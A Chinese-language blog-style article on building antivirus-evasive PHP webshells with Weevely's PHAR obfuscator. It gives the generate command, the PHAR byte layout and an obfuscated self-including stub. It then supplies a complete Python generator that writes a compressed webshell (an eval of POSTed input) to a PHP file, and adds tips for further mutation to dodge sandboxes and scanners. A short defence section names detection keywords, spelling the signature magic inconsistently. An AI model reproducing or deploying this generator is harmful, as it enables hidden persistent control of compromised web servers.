实战Weevely管理工具免杀马研究即生成另类免杀马
字数 2518 2025-08-29 22:41:32

Weevely管理工具免杀马研究及生成另类免杀马

一、背景与概述

Weevely是一款基于Python语言开发的渗透测试工具,主要用于在目标主机上执行远程操作,功能类似于中国菜刀。本文主要研究Weevely生成的PHP木马的免杀技术,特别是利用PHAR文件格式实现的免杀方法。

二、Weevely客户端生成源码分析

1. Weevely目录结构

Weevely源码中包含以下关键目录:

  • bd/agent:存放webshell代码执行的PHP代码
  • bd/obfuscators:存放混淆代码执行的代码

2. 生成命令

生成木马的基本命令格式:

weevely generate -agent obfpost_php -obfuscator obfusc1_php "An0ma1" ./An0ma1.php

其中:

  • obfpost_php:指定使用的agent类型
  • obfusc1_php:指定使用的混淆器
  • An0ma1:连接密码
  • ./An0ma1.php:输出文件路径

3. 混淆器类型

  • cleartext1_php:无混淆模式,直接输出代码执行的连接代码
  • obfusc1_php:基础混淆模式,但混淆力度不够,容易被杀
  • phar混淆器:重点研究对象,微步云沙箱报正常文件

三、PHAR文件格式详解

PHAR(PHP Archive)是PHP的归档文件格式,类似于JAR文件,可将多个PHP文件、资源打包为单一文件。

1. PHAR文件结构

PHAR文件分为四部分:

  1. Stub部分:PHP可执行代码,必须以__HALT_COMPILER(); ?>结尾
  2. Manifest元数据:二进制数据,小端序
  3. 数据存储:实际存储的文件内容
  4. 签名部分:文件签名

2. PHAR文件示例

<?php
class TestObject {}
$phar = new Phar("phar.phar"); // 后缀名必须为phar
$phar->startBuffering(); // 开启缓存
$phar->setStub("<?php __HALT_COMPILER();?>"); // 设置stub
$o = new TestObject();
$phar->setMetadata($o); // 设置元数据
$phar->addFromString("An0ma1.txt", "An0ma1"); // 添加数据存储
$phar->stopBuffering(); // 结束后会自动签名
?>

3. Manifest元数据结构

偏移量 长度 字段 说明
0x00 4 Manifest长度 总长度
0x04 4 文件数量 包含的文件数量
0x08 2 API版本 PHAR版本
0x0A 4 全局标志 压缩+SHA1签名
0x0E 4 别名长度 无别名时为0
0x12 4 元数据类型 无序列化metadata时为0

4. 数据存储结构

偏移量 长度 字段 说明
0x00 4 文件名长度 文件名长度
0x04 实际长度 文件名内容 ASCII字符
0x05 4 原始大小 未压缩文件内容长度
0x09 4 Unix时间戳 时间戳
0x0D 4 压缩后大小 压缩后文件内容长度
0x11 4 CRC32校验值 校验和计算值
0x15 4 权限+压缩标志 权限与压缩标志组合
0x19 4 元数据长度 无附加元数据时为0

四、免杀马原理分析

1. 免杀马模板代码

clean_agent = agent.strip(b'\n')
stub = b"""<?php include "\\160\\x68\\141\\x72\\72\\57\\57".basename(__FILE__)."\\57\\x78";__HALT_COMPILER(); ?>"""
fname = b'x'
f = b'<?php eval(\'' + clean_agent + b'\');'
fenc = zlib.compress(f)[2:-4]  # 去除zlib头尾
flags = 0x00011000

2. 关键免杀技术

  1. Stub部分混淆

    • 使用八进制和十六进制编码混淆路径
    • 包含basename(__FILE__)动态获取文件名
    • 必须包含__HALT_COMPILER(); ?>标记
  2. 文件内容压缩

    • 使用zlib压缩恶意代码
    • 去除zlib头尾([2:-4])
    • 设置压缩标志0x00001000激活自动解压
  3. 权限设置

    • 0o777 | 0x00001000设置文件权限和压缩标志
    • 实际值为\xff\x11\x00\x00(小端序)
  4. 签名部分

    • SHA1签名(20字节)
    • 签名类型0x0002表示SHA1
    • 魔术签名GBMB格式固定

3. 自动解压机制

PHAR文件的自动解压依赖于文件条目中的压缩标志位0x00001000(对应PharEntry::COMPRESSED),激活后PHP会自动解压文件内容。

五、自写免杀马生成脚本

import io
import zlib
import base64
import hashlib
import argparse

def generate_phar(agent_code: bytes) -> bytes:
    # 清理输入代码
    clean_agent = agent_code.strip(b'\n')
    
    # 1. 构造Phar存根(路径混淆)
    stub = b"""<?php include "\\160\\x68\\141\\x72\\72\\57\\57".basename(__FILE__)."\\57\\x78";__HALT_COMPILER(); ?>"""
    
    # 2. 构造内部恶意代码
    fname = b'x'
    f = clean_agent
    
    # 3. 压缩内容(绕过基础检测)
    fenc = zlib.compress(f)[2:-4]  # 移除zlib头尾
    
    # 4. 初始化二进制流
    output = io.BytesIO()
    output.write(stub)
    
    # 5. 写入Manifest占位符
    manifest_len_cursor = output.tell()
    output.write(b'\0\0\0\0')
    
    # 6. 构建Manifest结构
    output.write((1).to_bytes(4, 'little'))
    output.write(b'\x11\x00')
    output.write((0x00011000).to_bytes(4, 'little'))
    output.write((0).to_bytes(4, 'little'))
    output.write((0).to_bytes(4, 'little'))
    
    # 7. 写入文件条目
    output.write(len(fname).to_bytes(4, 'little'))
    output.write(fname)
    output.write(len(f).to_bytes(4, 'little'))
    output.write(int(0).to_bytes(4, 'little'))
    output.write(len(fenc).to_bytes(4, 'little'))
    output.write(zlib.crc32(f).to_bytes(4, 'little'))
    output.write((0o777 | 0x00001000).to_bytes(4, 'little'))
    output.write((0).to_bytes(4, 'little'))
    
    # 8. 修正Manifest长度
    manifest_len = output.tell() - manifest_len_cursor - 4
    output.seek(manifest_len_cursor)
    output.write(manifest_len.to_bytes(4, 'little'))
    
    # 9. 追加压缩内容
    output.seek(0, io.SEEK_END)
    output.write(fenc)
    
    # 10. 计算签名
    full_content = output.getvalue()
    output.write(hashlib.sha1(full_content).digest())
    output.write((0x0002).to_bytes(4, 'little'))
    output.write(b'GBMB')
    
    return base64.b64encode(output.getvalue())

if __name__ == "__main__":
    code = "<?php @eval($_POST['cmd']);?>"
    # 生成并输出Base64结果
    b64_phar = generate_phar(code.encode('utf-8'))
    print(f"b64:{b64_phar.decode('utf-8')}")
    with open("123.php", "wb") as f:
        f.write(base64.b64decode(b64_phar))
    print("Done!")

脚本说明

  1. 支持自定义恶意代码(可替换为冰蝎、哥斯拉、蚁剑的连接代码)
  2. 生成Base64编码的PHAR文件
  3. 自动写入到指定文件
  4. 兼容PHP 5.3+版本

六、免杀马进一步魔改思路

  1. Stub部分

    • __HALT_COMPILER(); ?>之前的代码可以任意修改
    • 路径混淆方式可以多样化
  2. 压缩方式

    • 0x00002000:Bzip2压缩
    • 0x0000F000:压缩算法掩码
    • 替代默认的zlib压缩(0x00001000)
  3. 权限设置

    • 0o777改为0o750等较低权限
  4. 签名类型

    • 0x0001:MD5签名
    • 0x0004:OpenSSL签名
  5. 其他字段修改

    • 文件名修改
    • 别名长度修改
    • 元数据类型修改
    • API版本修改
    • Unix时间戳修改
    • 全局标识修改

七、防御措施

  1. PHP配置

    phar.readonly = On
    allow_url_include = Off
    
  2. 禁用PHAR扩展:在生产环境中禁用不必要的PHAR扩展

  3. 杀软检测策略

    • 对web文件(php, phar, phtml, pht等)进行熵值检测
    • 查杀以下关键字的组合:
      • GMBN
      • \xff\x11\x00\x00
      • basename(__FILE__)
  4. 文件监控

    • 监控服务器上异常的PHAR文件创建
    • 检查文件权限异常变化

八、测试结果

  1. 冰蝎:测试成功
  2. 哥斯拉:测试成功
  3. 杀软绕过
    • 微步云沙箱报告为正常文件
    • 卡巴斯基可能使用熵值检测或关键词检测(如include "\160\x68\141\x72\72\57\57".basename(__FILE__)."\57\x78";__HALT_COMPILER(); ?>

九、总结

通过深入研究Weevely工具的PHAR混淆器实现原理,我们可以:

  1. 理解PHAR文件格式的结构和特性
  2. 掌握利用PHAR自动解压机制实现免杀的技术
  3. 开发自定义的免杀马生成工具
  4. 提出针对性的防御措施

这种免杀技术本质上是在PHAR文件中嵌入其他PHP代码(如冰蝎、哥斯拉、蚁剑的连接代码),利用PHAR文件的特性绕过常规检测,具有较高的隐蔽性和实用性。

Weevely管理工具免杀马研究及生成另类免杀马 一、背景与概述 Weevely是一款基于Python语言开发的渗透测试工具,主要用于在目标主机上执行远程操作,功能类似于中国菜刀。本文主要研究Weevely生成的PHP木马的免杀技术,特别是利用PHAR文件格式实现的免杀方法。 二、Weevely客户端生成源码分析 1. Weevely目录结构 Weevely源码中包含以下关键目录: bd/agent :存放webshell代码执行的PHP代码 bd/obfuscators :存放混淆代码执行的代码 2. 生成命令 生成木马的基本命令格式: 其中: obfpost_php :指定使用的agent类型 obfusc1_php :指定使用的混淆器 An0ma1 :连接密码 ./An0ma1.php :输出文件路径 3. 混淆器类型 cleartext1_php :无混淆模式,直接输出代码执行的连接代码 obfusc1_php :基础混淆模式,但混淆力度不够,容易被杀 phar 混淆器:重点研究对象,微步云沙箱报正常文件 三、PHAR文件格式详解 PHAR(PHP Archive)是PHP的归档文件格式,类似于JAR文件,可将多个PHP文件、资源打包为单一文件。 1. PHAR文件结构 PHAR文件分为四部分: Stub部分 :PHP可执行代码,必须以 __HALT_COMPILER(); ?> 结尾 Manifest元数据 :二进制数据,小端序 数据存储 :实际存储的文件内容 签名部分 :文件签名 2. PHAR文件示例 3. Manifest元数据结构 | 偏移量 | 长度 | 字段 | 说明 | |-------|------|------|------| | 0x00 | 4 | Manifest长度 | 总长度 | | 0x04 | 4 | 文件数量 | 包含的文件数量 | | 0x08 | 2 | API版本 | PHAR版本 | | 0x0A | 4 | 全局标志 | 压缩+SHA1签名 | | 0x0E | 4 | 别名长度 | 无别名时为0 | | 0x12 | 4 | 元数据类型 | 无序列化metadata时为0 | 4. 数据存储结构 | 偏移量 | 长度 | 字段 | 说明 | |-------|------|------|------| | 0x00 | 4 | 文件名长度 | 文件名长度 | | 0x04 | 实际长度 | 文件名内容 | ASCII字符 | | 0x05 | 4 | 原始大小 | 未压缩文件内容长度 | | 0x09 | 4 | Unix时间戳 | 时间戳 | | 0x0D | 4 | 压缩后大小 | 压缩后文件内容长度 | | 0x11 | 4 | CRC32校验值 | 校验和计算值 | | 0x15 | 4 | 权限+压缩标志 | 权限与压缩标志组合 | | 0x19 | 4 | 元数据长度 | 无附加元数据时为0 | 四、免杀马原理分析 1. 免杀马模板代码 2. 关键免杀技术 Stub部分混淆 : 使用八进制和十六进制编码混淆路径 包含 basename(__FILE__) 动态获取文件名 必须包含 __HALT_COMPILER(); ?> 标记 文件内容压缩 : 使用zlib压缩恶意代码 去除zlib头尾( [2:-4] ) 设置压缩标志 0x00001000 激活自动解压 权限设置 : 0o777 | 0x00001000 设置文件权限和压缩标志 实际值为 \xff\x11\x00\x00 (小端序) 签名部分 : SHA1签名(20字节) 签名类型 0x0002 表示SHA1 魔术签名 GBMB 格式固定 3. 自动解压机制 PHAR文件的自动解压依赖于文件条目中的压缩标志位 0x00001000 (对应 PharEntry::COMPRESSED ),激活后PHP会自动解压文件内容。 五、自写免杀马生成脚本 脚本说明 支持自定义恶意代码(可替换为冰蝎、哥斯拉、蚁剑的连接代码) 生成Base64编码的PHAR文件 自动写入到指定文件 兼容PHP 5.3+版本 六、免杀马进一步魔改思路 Stub部分 : __HALT_COMPILER(); ?> 之前的代码可以任意修改 路径混淆方式可以多样化 压缩方式 : 0x00002000 :Bzip2压缩 0x0000F000 :压缩算法掩码 替代默认的zlib压缩( 0x00001000 ) 权限设置 : 将 0o777 改为 0o750 等较低权限 签名类型 : 0x0001 :MD5签名 0x0004 :OpenSSL签名 其他字段修改 : 文件名修改 别名长度修改 元数据类型修改 API版本修改 Unix时间戳修改 全局标识修改 七、防御措施 PHP配置 : 禁用PHAR扩展 :在生产环境中禁用不必要的PHAR扩展 杀软检测策略 : 对web文件(php, phar, phtml, pht等)进行熵值检测 查杀以下关键字的组合: GMBN \xff\x11\x00\x00 basename(__FILE__) 文件监控 : 监控服务器上异常的PHAR文件创建 检查文件权限异常变化 八、测试结果 冰蝎 :测试成功 哥斯拉 :测试成功 杀软绕过 : 微步云沙箱报告为正常文件 卡巴斯基可能使用熵值检测或关键词检测(如 include "\160\x68\141\x72\72\57\57".basename(__FILE__)."\57\x78";__HALT_COMPILER(); ?> ) 九、总结 通过深入研究Weevely工具的PHAR混淆器实现原理,我们可以: 理解PHAR文件格式的结构和特性 掌握利用PHAR自动解压机制实现免杀的技术 开发自定义的免杀马生成工具 提出针对性的防御措施 这种免杀技术本质上是在PHAR文件中嵌入其他PHP代码(如冰蝎、哥斯拉、蚁剑的连接代码),利用PHAR文件的特性绕过常规检测,具有较高的隐蔽性和实用性。